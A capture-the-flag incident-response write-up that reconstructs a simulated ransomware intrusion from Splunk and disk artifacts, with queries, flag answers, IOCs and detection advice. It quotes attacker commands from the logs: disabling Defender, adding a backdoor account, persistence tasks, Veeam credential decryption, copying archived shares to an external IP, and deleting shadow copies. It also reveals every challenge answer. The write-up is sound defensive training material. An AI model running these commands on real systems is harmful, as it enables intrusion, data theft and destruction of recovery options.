// CyberDefenders · writeup

Stolen Time - HiddenTear

CyberDefenders DB Browser for SQLiteRegistry ExplorerTimeline ExplorerSplunkEZ ToolsVirusTotal

← all labs ► watch on youtube challenge page → proof of completion →

Scenario

On December 2, 2025, the SOC team received an alert indicating a potentially malicious file download on a corporate workstation. Initial triage revealed that a user had downloaded software from an untrusted source, triggering suspicious process chains and network connections to external infrastructure.

Within hours, the attack escalated dramatically: the threat actor deployed a sophisticated command-and-control framework, harvested domain credentials, forged Kerberos tickets for unrestricted domain access, and moved laterally to all critical servers including the domain controller, file server, and backup server. The attack culminated in data exfiltration of sensitive corporate information followed by ransomware deployment demanding a substantial Bitcoin payment.

Executive Summary

A WORKSTATION-01 user searched for cracked software and downloaded a trojanized world-clock installer from an Iranian piracy CDN. Execution ran a LOLBin chain — a signed Microsoft build tool staged a payload DLL that a native Windows loader ran from a Music folder — and a Cobalt Strike beacon injected into a long-running user process before disabling Defender. The operator layered four persistence mechanisms, dumped LSASS, and swapped in Domain Admin credentials via a make-token logon. PsExec carried the beacon to the domain controller, file server, and backup server; a DCSync extracted the KRBTGT hash to forge Golden Tickets, native AD-enumeration tooling mapped the domain, and backup credentials were decrypted using the backup product’s own library. Five corporate shares were archived, timestomped, and exfiltrated over SMB to a separate AWS host before shadow copies were deleted, event logs cleared, and HiddenTear-derived ransomware deployed across every host, appending .locked and demanding Bitcoin.

Artifacts

Splunk index (four hosts) — Security, Sysmon/Operational, CAPI2, WMI-Activity, Defender, and System sources from WORKSTATION-01, FS01, BACKUP01, and DC01 (~754k events) → Splunk Search & Reporting
KAPE disk artifacts (per host) — browser history, registry, filesystem timestamps, Recent items → EZ Tools / DB Browser for SQLite
Victim account on WORKSTATION-01 is ncooper (C:\Users\ncooper\); Chrome history lives at C:\Users\ncooper\AppData\Local\Google\Chrome\User Data\Default\History

Coverage gotcha: WORKSTATION-01 holds ~69% of all events; DC01 is a deliberate blind spot (only ~135 events), so some DC01 activity (DCSync, ticket forging) must be inferred indirectly rather than observed directly.

Initial Access — Pirated Software Download

Q1 — The user's web browsing history shows they were searching for a pirated version of a specific software. What was the user's Google search query?

Open the Chrome History SQLite database in DB Browser for SQLite and browse the urls table. The title column records three visits to Google with the page title “cracked sharp world clock — بحث Google” — the search that started the infection. The user then landed on hxxps[://]soft98[.]ir, a Persian-language piracy site offering Sharp World Clock 9.6.7.

Click flag to reveal cracked sharp world clock

Q2 — From which content delivery network (CDN) domain did the user download the malicious file?

The initiating download URL (https://dl2.soft98.ir/soft/s/Sharp.World.Clock.9.6.7.rar) is only the first hop. The downloads_url_chains table records the full redirect chain Chrome followed transparently — each CDN hop is a separate chain_index row:

chain_index 0: https://dl2.soft98.ir/soft/s/Sharp.World.Clock.9.6.7.rar?1764683751
chain_index 1: https://dl2soft98.82.ir.cdn.ir/soft/s/Sharp.World.Clock.9.6.7.rar?1764683751
chain_index 2: https://edge15.82.ir.cdn.ir/soft/s/Sharp.World.Clock.9.6.7.rar?1764683751

The final hop, edge15.82.ir.cdn.ir, is the node that actually served the RAR.

Gotcha: Perimeter DNS/HTTP logging only shows the initiating domain dl2.soft98.ir — the file transited a different infrastructure node. The delivery CDN exists only in the downloads_url_chains table, not the downloads or urls tables.

Click to reveal answer edge15.82.ir.cdn.ir

Execution — LOLBin Chain

Q3 — After the user extracted the archive, what was the name of the setup file they executed to initiate the infection?

Pivot to Sysmon EID 1 and filter for processes spawned from ncooper’s Downloads path. The setup executable runs at 14:00:03 with explorer.exe as parent — a double-click from Windows Explorer after extracting the RAR.

index=* host="WORKSTATION-01" EventCode=1 CommandLine="*ncooper*Downloads*" | table _time, Image, CommandLine, ParentImage | sort _time

Click flag to reveal world_clock_setup.exe

Q4 — The initial payload used a legitimate Microsoft build tool to execute the next stage of the attack. What is the name of this tool?

Query the children of the setup executable. Two children spawn in sequence — at 14:00:04 a cmd.exe /c invoking MSBuild.exe, then at 14:00:09 rundll32 loading the payload DLL. MSBuild is a signed Microsoft binary that compiles and executes inline C# from XML project files, a classic application-allowlisting bypass; it ran first to stage the DLL payload.

index=* host="WORKSTATION-01" EventCode=1 ParentImage="*world_clock*" | table _time, Image, CommandLine, ParentImage | sort _time

Click to reveal answer MSBuild.exe

Q5 — The final stage of the initial execution chain was a malicious DLL loaded by a native Windows process. What is the full path of this DLL?

The second child from Q4 is rundll32.exe "C:\Users\ncooper\Music\WakeWordEngine.dll",Start. The Music-folder path is chosen to look like a legitimate audio component, and the ,Start export convention is standard for rundll32 execution of a malicious DLL.

Click flag to reveal C:\Users\ncooper\Music\WakeWordEngine.dll

Defense Evasion — Injection, AV Kill, Anti-Forensics

Q6 — The attacker injected their code from the initial process into a more stable, legitimate Windows process to hide their activities. What was the target process for this injection?

Two minutes after the DLL loaded, Sysmon EID 8 (CreateRemoteThread) records rundll32.exe injecting into explorer.exe at 14:03:07. Explorer is an ideal target — it runs as the logged-on user, is always present, and generates legitimate network activity the beacon can blend into. From here the beacon lives inside Explorer’s process space.

index=* host="WORKSTATION-01" EventCode=8 | table _time, SourceImage, TargetImage, StartAddress | sort _time

Click to reveal answer explorer.exe

Q7 — The attacker used a PowerShell command to disable real-time monitoring for the host's antivirus solution. What is the full command that was executed?

Nineteen minutes after injection — long enough to confirm a stable session — Defender is killed. Filter for the MpPreference command line:

index=* host=WORKSTATION-01 EventCode=1 CommandLine="*MpPreference*" | table _time, CommandLine, ParentImage | sort _time

The parent chain is rundll32.exe → cmd.exe → powershell, the injected beacon issuing the command through a spawned shell:

Set-MpPreference -DisableRealtimeMonitoring $true

Click flag to reveal Set-MpPreference -DisableRealtimeMonitoring $true

Q8 — On the file server, the attacker executed a PowerShell command to modify the timestamps of the staged archive to a future date, hiding its true creation time. What year was the file's timestamp changed to?

Later in the intrusion, on FS01, the staged exfil archive is timestomped three minutes after it is created. All three NTFS timestamps are pushed 11 years into the future via PowerShell:

(Get-Item 'C:\Users\Public\npoived.zip').CreationTime = [datetime]'2036-01-01T00:00:00'; (Get-Item 'C:\Users\Public\npoived.zip').LastWriteTime = [datetime]'2036-01-01T00:00:00'; (Get-Item 'C:\Users\Public\npoived.zip').LastAccessTime = [datetime]'2036-01-01T00:00:00'

An analyst sorting FS01’s filesystem by modification time places this file at the very bottom, or filters it out entirely with a recent-timeframe window — deliberate anti-forensics, not opportunistic evasion.

Click to reveal answer 2036

Q9 — After gaining access to the domain controller, the attacker injected their beacon into two system processes for stealth and stability. What are the names of these two processes?

Once on DC01 (see Q20), Sysmon EID 8 shows the beacon injecting into two SYSTEM-context processes: rundll32.exe → dwm.exe at 16:50:03 and rundll32.exe → spoolsv.exe at 16:50:29. Both run as SYSTEM, elevating the beacon’s privilege and surviving user logoff; spoolsv is a favourite because its network activity is generally trusted.

index=* host="dc01" EventCode=8 | table _time, SourceImage, TargetImage | sort _time

Click flag to reveal spoolsv.exe, dwm.exe

Persistence

Q10 — The attacker created a new local user account on WORKSTATION-01 to maintain access. What was the username and password of this account?

Eight minutes after initial execution, Security EID 4720 records a local account creation and Sysmon EID 1 captures the plaintext command. The account name mimics a service account to blend into process and user listings; it was created by ncooper via the injected beacon chain (rundll32.exe → cmd.exe → net.exe).

index=* host="workstation-01" EventCode=4720 | table _time, TargetUserName

net user SvcAdmin Qwerty12345! /add

Click to reveal answer SvcAdmin:Qwerty12345!

Q11 — To ensure the malware would run every time the user logged on, the attacker created a scheduled task. What was the name given to this task?

At 14:42:03 a scheduled task locks in logon persistence. The DLL is first copied from ncooper\Music\ to Users\Public\Music\ so the task survives regardless of which account runs it; the task name blends into the scheduler list.

schtasks /create /tn "SystemUpdate" /tr "rundll32.exe C:\Users\Public\Music\WakeWordEngine.dll,Start" /sc onlogon /ru ncooper /f

Click flag to reveal SystemUpdate

Q12 — On the domain controller, the attacker created a WMI Event Subscription for persistence. What is the name of the WMI Event Filter that was created?

On DC01 at 17:00:08, Sysmon EID 19 records a WMI EventFilter whose WQL query fires every 60 seconds off a performance-counter update — a reliable trigger disguised as legitimate monitoring. WMI subscriptions survive reboots and are hard to spot without dedicated tooling.

index=* host="dc01" EventCode=19 | table _time, Name, Query

Click to reveal answer WindowsUpdateCheck

Q13 — The attacker established persistence on the file server (FS01) by creating a malicious Windows service. What is the name of this service?

At 17:56:10 Security EID 4697 records a service creation on FS01 running as LocalSystem with auto-start, binary path C:\Windows\Temp\winupdate.exe. The name is indistinguishable at a glance from real Windows Update infrastructure — the tell is the binary living in C:\Windows\Temp\ rather than System32.

index=* host="fs01" EventCode=4697 | table _time, ServiceName

Click flag to reveal WindowsUpdateService

Credential Access & Privilege Escalation

Q14 — With elevated privileges, the attacker accessed the memory of the LSASS process to dump credentials. What is the exact UTC timestamp when this credential dumping activity occurred? (24-Hr Format)

Sysmon EID 10 records rundll32.exe opening a handle to lsass.exe with GrantedAccess 0x1010 (PROCESS_VM_READ + PROCESS_QUERY_LIMITED_INFORMATION) — the credential-dump access pattern. An earlier 0x1410 access at 14:30:49 was recon; the actual dump is the 0x1010 read.

index=* host="workstation-01" EventCode=10 TargetImage="*lsass*" | table _time, SourceImage, TargetImage, GrantedAccess

Gotcha: Two LSASS accesses appear. The 0x1410 at 14:30:49 is the recon handle open; the dump is the 0x1010 read at 14:45:15. Keying on the wrong access mask gives the wrong timestamp.

Click to reveal answer 2025-12-02 14:45:15

Q15 — On WORKSTATION-01, the attacker spawned a process that kept the local user's identity locally but presented a Domain Administrator's credentials for any outbound network access. Find the logon event that captured this credential handoff and provide its exact UTC timestamp. (24Hr Format)

Security EID 4624 with Logon Type 9 (NewCredentials) at 15:22:55 is the runas /netonly / Cobalt Strike make_token signature — the process keeps ncooper’s local identity but presents DA credentials for outbound network access. This is the moment the dumped DA hash was loaded into the beacon’s token, enabling PsExec lateral movement.

index=* host=WORKSTATION-01 EventCode=4624 Logon_Type=9 | table _time, Account_Name, Caller_User_Name, Logon_Type | sort _time

Click flag to reveal 2025-12-02 15:22:55

Q16 — Using the compromised Domain Administrator credentials, the attacker was able to extract the KRBTGT account hash via a DCSync attack. Due to limited visibility on the domain controller, we did not capture the replication request directly. However, we can confirm the success of this attack by analyzing subsequent Kerberos authentication. What encryption type (in hex) was used for the forged tickets, indicating the use of the KRBTGT NTLM hash?

DC01’s sparse logging means the DCSync replication request itself isn’t captured. Confirm it indirectly through subsequent Security EID 4769 ticket requests, which show TicketEncryptionType 0x17 (RC4-HMAC). Modern AD defaults to AES256 (0x12); RC4 appears when tickets are forged with the KRBTGT NTLM hash — the Golden Ticket fingerprint.

index=* host="dc01" EventCode=4769 user="ncooper@CORP.LOCAL" TicketEncryptionType

Click to reveal answer 0x17

Q17 — The attacker executed a PowerShell script on the backup server to extract credentials from the Veeam backup database. What is the name of this script, and what is the name of the DLL that the script references to decrypt the stored credentials?

On BACKUP01, PowerShell ScriptBlock logging (EID 4104) captures the script content despite the obfuscated filename. The randomly named script loads a legitimate Veeam DLL and calls its internal decryption routines — using Veeam’s own code to decrypt backup-job credentials from the Veeam SQL database without cracking anything.

index=* host="backup01" EventCode=4104 "Veeam"

Add-Type -Path "C:\Program Files\Veeam\Backup and Replication\Backup Catalog\Veeam.Backup.Common.dll"

Click flag to reveal hapsgdsgd.ps1, Veeam.Backup.Common.dll

Discovery

Q18 — After establishing a foothold on the domain controller, the attacker performed network reconnaissance from DC01 against multiple internal systems. What was the highest number of unique ports scanned against a single target?

Aggregate DC01’s outbound Sysmon EID 3 by distinct destination port per target. The highest scan density is against 10.10.11.249 — service enumeration to understand what’s running on each internal target before moving.

index=* host="dc01" EventCode=3 | stats dc(DestinationPort) as unique_ports by DestinationIp | sort -unique_ports

Click to reveal answer 12

Q19 — The attacker deployed two reconnaissance tools on the domain controller to enumerate Active Directory. One tool was renamed to evade detection. What are the names of these two tools? (Provide the original name for the renamed tool)

SharpHound was renamed syscheck.exe and dropped to C:\Windows\Temp\, but Sysmon EID 1’s OriginalFileName field reads the PE header rather than the on-disk name and still reports SharpHound.exe. AdFind ran un-renamed — its command-line arguments are more distinctive than its name.

index=* host="dc01" EventCode=1 *hound* | table _time, Image, CommandLine, OriginalFileName

ADFind.exe -f "(objectCategory=person)" name mail title

Tip: OriginalFileName is the robust detection here — a renamed binary can’t hide its compiled PE identity. SIEM rules keyed to known offensive-tool OriginalFileName values survive renaming.

Click flag to reveal SharpHound, AdFind

Lateral Movement

Q20 — The attacker used PsExec to move laterally from WORKSTATION-01 to the domain controller (DC01). What is the exact UTC timestamp when the PsExec service was installed on DC01?

Nine minutes after the token swap, Security EID 7045 records a PsExec service with a random hex name installed on DC01. PsExec copies a service binary to the target’s ADMIN$ share, installs it as a service, executes it, then removes it — the randomized name defeats static detection, and 7045 timestamps the lateral movement precisely.

index=* host="dc01" EventCode=7045 | table _time, ServiceName, ServiceFileName

Click to reveal answer 2025-12-02 15:31:05

Q21 — After compromising the domain controller, the attacker moved laterally to the file server (FS01). What is the exact UTC timestamp when the PsExec service was installed on FS01?

The same EID 7045 pivot against FS01 gives the next PsExec service install timestamp.

index=* host="fs01" EventCode=7045 | table _time, ServiceName, ServiceFileName

Click flag to reveal 2025-12-02 17:33:05

Q22 — The final system targeted for lateral movement was the backup server (BACKUP01). What is the name of the executable that was created by PsExec on BACKUP01?

EID 7045 on BACKUP01 shows the PsExec service binary dropped to \\BACKUP01.corp.local\ADMIN$\. The randomized hex filename matches the DC01/FS01 pattern.

index=* host="backup01" EventCode=7045 | table _time, ServiceName, ServiceFileName

Click to reveal answer 295b21c.exe

Command and Control

Q23 — The malicious process on WORKSTATION-01 established numerous connections to an external server. What is the IP address of this Command and Control (C2) server?

Aggregate WORKSTATION-01’s Sysmon EID 3 by destination. One IP generates orders of magnitude more connections than anything else — the beacon heartbeat. The AWS range plus high-frequency HTTP on port 80 is a classic Cobalt Strike profile.

index=* host="workstation-01" EventCode=3 | stats count by DestinationIp, DestinationPort | sort -count

Click flag to reveal 3.79.56.148

Q24 — Shortly after establishing their implant on WORKSTATION-01, the attacker's C2 framework automatically executed a command to set the console code page for consistent output encoding. This command is a well-known behavioral indicator for a specific attack framework. What code page number was set?

Two minutes after injection the beacon auto-runs cmd /c chcp 437 with explorer.exe as parent. Code page 437 (OEM US) is a well-documented Cobalt Strike indicator — the beacon sets a consistent output encoding then discards the temporary cmd.

index=* host="workstation-01" EventCode=1 CommandLine="*chcp*"

Click to reveal answer 437

Q25 — On the domain controller, the attacker's implant created named pipes for post-exploitation activities. One specific pipe name uses terminology that is internal to the Cobalt Strike framework and is created when executing post-exploitation jobs. What is the full name of this pipe?

Sysmon EID 17/18 on DC01 shows hundreds of \MSSE-*-server beacon-heartbeat pipes plus one distinctive \postex_ pipe created by rundll32.exe. The postex_ prefix is Cobalt Strike internal terminology — created only when the beacon spawns a post-exploitation job (hashdump, screenshot, keylogger), making it a high-fidelity indicator of hands-on tasking.

index=* host="dc01" EventCode=18 | table _time, PipeName, Image

Click flag to reveal \postex_9adf

Collection

Q26 — On the file server (FS01), the attacker archived sensitive data from multiple corporate shares. What are the names of all the shares that were included in the archive?

At 17:42:13 the attacker compresses five corporate shares into a single archive with a randomly named destination. The -Path list names each share — the full breadth of corporate sensitive data in one file.

index=* host="fs01" EventCode=1 (CommandLine="*7z*" OR CommandLine="*zip*" OR CommandLine="*compress*") | table _time, CommandLine, ParentImage

Compress-Archive -Path C:\Shares\Finance,C:\Shares\Legal,C:\Shares\HR,C:\Shares\Executive,C:\Shares\Contracts -DestinationPath C:\Users\Public\npoived.zip -CompressionLevel Optimal

Click to reveal answer Finance, Legal, HR, Executive, Contracts

Exfiltration

Q27 — The attacker copied the compressed data to an external server. What is the IP address of this exfiltration server?

At 18:11:04 the archive is copied over a UNC path to an SMB share on an external server — a separate AWS IP from the C2, the common ransomware split between command infrastructure and the data-collection endpoint. The attacker stood up an SMB listener to receive it.

C:\Windows\system32\cmd.exe /C copy C:\Users\Public\npoived.zip \\3.120.129.182\share\

Click flag to reveal 3.120.129.182

Impact — Recovery Inhibition and Ransomware

Q28 — Before deploying ransomware, the attacker attempted to inhibit system recovery. What is the full command used to delete volume shadow copies?

At 19:20:32, shadow copies are deleted across all systems with spoolsv.exe as parent — the injected DC01 beacon issuing the command through the print spooler. Deleting VSS snapshots removes the primary Windows-native recovery path.

index=* EventCode=1 (CommandLine="*shadow*" OR CommandLine="*vssadmin*") | table _time, CommandLine, ParentImage

vssadmin delete shadows /all /quiet

Click to reveal answer vssadmin delete shadows /all /quiet

Q29 — The final payload was a ransomware executable deployed across all compromised systems. What was the name of this executable?

Event logs are cleared at 19:21:32 (wevtutil cl Security), then at 19:28:14 the ransomware binary is dropped to C:\Windows\Temp\ and executed across all hosts via the established beacons. Sysmon EID 1’s OriginalFileName reveals the compiled identity (Encryptor_v2.exe) behind the on-disk name.

index=* EventCode=1 Image="*MammaMia*" | table _time, CommandLine, ParentImage, Hashes | sort -_time

Click flag to reveal MammaMia_Marcello.exe

Q30 — Understanding when a ransomware sample first appeared helps establish its timeline and potential impact. Based on VirusTotal data, what is the UTC timestamp of the first submission of this ransomware executable?

Pull the binary’s SHA1 from the Sysmon Hashes field and look it up on VirusTotal. The first submission is six days after the attack — the gap indicates a private or custom build not previously seen by public threat intel, consistent with a targeted operation.

Click to reveal answer 2025-12-08 04:37:21

Q31 — What is the Bitcoin address provided in the ransom note for payment?

Encryption completes at 19:32:45, appending .locked to every encrypted file. The ransom note README_DECRYPT.txt is recovered from ncooper’s Windows Recent items:

File Extension: .locked
Encryption Date: 2025-12-02 19:32:45
Machine ID: WORKSTATION-01-260B85AE

Amount: 50 BTC (~$2,000,000 USD)
Bitcoin Address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa

Tip: The wallet 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa is Satoshi Nakamoto’s genesis-block address — the first Bitcoin address ever, holding the unspendable 50 BTC from block 0. A CTF easter egg: the ransom is payable to a wallet nobody can access.

Click flag to reveal 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa

Attack Summary

Phase	Action
Initial Access	ncooper searched “cracked sharp world clock”, downloaded Sharp.World.Clock.9.6.7.rar from hxxps[://]edge15[.]82[.]ir[.]cdn[.]ir
Execution	world_clock_setup.exe spawned cmd.exe → MSBuild.exe then rundll32.exe loading WakeWordEngine.dll
Defense Evasion	rundll32.exe injected into explorer.exe via CreateRemoteThread at 14:03:07
Defense Evasion	Set-MpPreference -DisableRealtimeMonitoring $true at 14:22:17
C2	Cobalt Strike beacon established to 3[.]79[.]56[.]148:80; chcp 437 fingerprint at 14:05:07
Persistence (WS01)	Local account SvcAdmin:Qwerty12345! created via net user at 14:08:06
Persistence (WS01)	Scheduled task SystemUpdate created to run WakeWordEngine.dll at logon
Credential Access	LSASS memory read by rundll32.exe at 14:45:15 (GrantedAccess 0x1010)
Privilege Escalation	Type 9 logon at 15:22:55 — DA credentials loaded into beacon token via make_token
Lateral Movement	PsExec to DC01 at 15:31:05; beacon injected into dwm.exe and spoolsv.exe
Discovery	SharpHound (as syscheck.exe) and AdFind run on DC01 for AD enumeration
Discovery	Port scan from DC01 against internal targets; 12 unique ports against 10.10.11.249
Credential Access	DCSync against KRBTGT; Golden Ticket forged (RC4/0x17 encryption confirmed in EID 4769)
Persistence (DC01)	WMI EventFilter WindowsUpdateCheck created at 17:00:08
Lateral Movement	PsExec to FS01 at 17:33:05; WindowsUpdateService created for persistence
Collection	Five corporate shares (Finance, Legal, HR, Executive, Contracts) archived to npoived.zip at 17:42:13
Defense Evasion	npoived.zip timestamps stomped to 2036-01-01 at 17:45:16
Lateral Movement	PsExec to BACKUP01 at 18:22:19; Veeam credentials extracted via hapsgdsgd.ps1
Exfiltration	npoived.zip copied to hxxp[://]3[.]120[.]129[.]182/share at 18:11:04
Impact	vssadmin delete shadows /all /quiet at 19:20:32; event logs cleared at 19:21:32
Impact	MammaMia_Marcello.exe deployed across all hosts at 19:28:14; encryption complete 19:32:45

IOCs

Type	Value
Domain (Piracy Site)	hxxps[://]soft98[.]ir
Domain (CDN Delivery)	edge15[.]82[.]ir[.]cdn[.]ir
URL (Malware Download)	hxxps[://]dl2[.]soft98[.]ir/soft/s/Sharp.World.Clock.9.6.7.rar
IP (C2)	3[.]79[.]56[.]148
IP (Exfiltration)	3[.]120[.]129[.]182
File	world_clock_setup.exe
File	C:\Users\ncooper\Music\WakeWordEngine.dll
File	C:\Users\Public\Music\WakeWordEngine.dll
File	C:\Windows\Temp\MammaMia_Marcello.exe
File	C:\Windows\Temp\winupdate.exe
File	C:\Users\Public\npoived.zip
File	C:\Users\Public\hapsgdsgd.ps1
File	C:\Windows\Temp\syscheck.exe (SharpHound)
Scheduled Task	SystemUpdate
Service (FS01)	WindowsUpdateService
WMI Filter (DC01)	WindowsUpdateCheck
Account	SvcAdmin / Qwerty12345!
Bitcoin Address	1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
Hash (MammaMia_Marcello.exe)	SHA1: A4D7B99EB716919BB47448E135D489A1100BA70C
VT First Submission	2025-12-08 04:37:21 UTC

MITRE ATT&CK

Technique	ID	Description
Malicious File	T1204.002	ncooper executed world_clock_setup.exe downloaded from piracy site
MSBuild	T1127.001	world_clock_setup.exe spawned MSBuild.exe to execute next-stage payload
Rundll32	T1218.011	WakeWordEngine.dll loaded via rundll32.exe,Start export
Process Injection: Remote Thread	T1055.001	rundll32.exe injected Cobalt Strike beacon into explorer.exe
Disable or Modify Tools	T1562.001	Set-MpPreference -DisableRealtimeMonitoring $true via beacon
Timestomp	T1070.006	npoived.zip timestamps set to 2036-01-01 via PowerShell
Scheduled Task	T1053.005	SystemUpdate task created for logon persistence on WORKSTATION-01
WMI Event Subscription	T1546.003	WindowsUpdateCheck WMI filter created on DC01
Windows Service	T1543.003	WindowsUpdateService created on FS01; PsExec services on DC01/BACKUP01
LSASS Memory	T1003.001	rundll32.exe read lsass.exe memory at 14:45:15 (0x1010)
Token Impersonation	T1134.003	Type 9 logon at 15:22:55 — make_token with DA credentials
Golden Ticket	T1558.001	KRBTGT hash extracted via DCSync; forged tickets use RC4 (0x17)
Lateral Tool Transfer via PsExec	T1021.002	PsExec used to move to DC01, FS01, BACKUP01
Domain Account Enumeration	T1087.002	SharpHound and AdFind enumerated AD users and computers on DC01
Network Service Discovery	T1046	DC01 scanned internal targets; 12 unique ports against 10.10.11.249
Archive Collected Data	T1560.001	Five corporate shares compressed to npoived.zip via Compress-Archive
Exfiltration Over SMB	T1048	npoived.zip copied to \3.120.129.182\share via cmd copy
Inhibit System Recovery	T1490	vssadmin delete shadows /all /quiet before ransomware deployment
Data Encrypted for Impact	T1486	MammaMia_Marcello.exe (Encryptor_v2) deployed across all hosts; .locked extension

Defender Takeaways

Software download policy and DNS filtering — The entire attack chain originated from a pirated software download. A DNS filtering solution (e.g. Cisco Umbrella, AdGuard DNS with category blocking) would have blocked soft98.ir at the network layer before the download ever started. Pairing this with an endpoint policy that alerts on RAR/ZIP extraction followed by executable launch from the Downloads folder catches the delivery mechanism even if DNS filtering is bypassed.

LOLBin monitoring is non-negotiable — MSBuild.exe spawning from a user-context process, and rundll32.exe loading a DLL from C:\Users\*\Music\, are both high-fidelity detection opportunities. Neither of these should occur in a normal corporate environment. A Sysmon rule alerting on MSBuild.exe with a non-developer parent, or rundll32.exe loading DLLs from user profile paths outside System32, would have fired before the beacon was injected.

OriginalFileName for renamed binary detection — SharpHound was renamed syscheck.exe to evade name-based detection. Sysmon captures OriginalFileName from the PE header regardless of what the file is called on disk. SIEM rules that alert on known offensive tool OriginalFileName values (SharpHound, Mimikatz, Rubeus, AdFind, etc.) are robust against renaming and should be part of every detection library.

Protect Veeam and backup credentials — The attacker specifically targeted Veeam.Backup.Common.dll to decrypt stored backup credentials. Backup systems are increasingly primary targets in ransomware operations because destroying backups maximises leverage. Veeam credentials should be stored using a dedicated service account with minimal permissions, and the Veeam SQL database should not be accessible from general domain accounts. Monitoring for PowerShell processes loading Veeam DLLs outside of expected Veeam service processes is a specific detection worth implementing.

Kerberos RC4 anomaly detection — Golden Ticket detection via EID 4769 filtering for TicketEncryptionType 0x17 in environments that have enforced AES is one of the few reliable ways to detect forged tickets. If your domain is running Windows Server 2012+ and you’ve configured msDS-SupportedEncryptionTypes to exclude RC4, any RC4 ticket request becomes a near-certain indicator of a forged ticket. This detection requires accurate baseline knowledge of your environment’s encryption policy — the investigation here relied on exactly this signal.

Conclusion

A single pirated download handed an operator the entire estate. Every escalation after it rode a legitimate tool — MSBuild to stage, rundll32 to load, Explorer and spoolsv to hide, PsExec to spread, and Veeam’s own DLL to loot the backups — so the detection value lived almost entirely in sequencing and path/name anomalies, not in novel malware. The ransomware itself was the last and least interesting step; the damage was already guaranteed the moment an unmonitored LOLBin chain reached a Domain Admin token.